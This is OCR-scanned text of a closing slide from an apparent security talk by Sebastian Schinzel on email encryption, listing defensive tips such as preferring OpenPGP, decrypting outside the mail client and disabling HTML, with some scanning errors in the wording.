e Avoid email.

* |fyou can‘t, use OpenPGP, and

Sebastian Schinzel ' il cli
ebastian >chinze encrypt/decrypt outside of mail client.

Email: schinzel@fh-muenster.de
Twitter: @seecurity
Probably not:
Meet us at * Prefer OpenPGP over S/MIME.

* Disable HTML for encrypted emails and
Chaos West be careful with attachments.

right after talk! * Don'‘t cite text in reply.




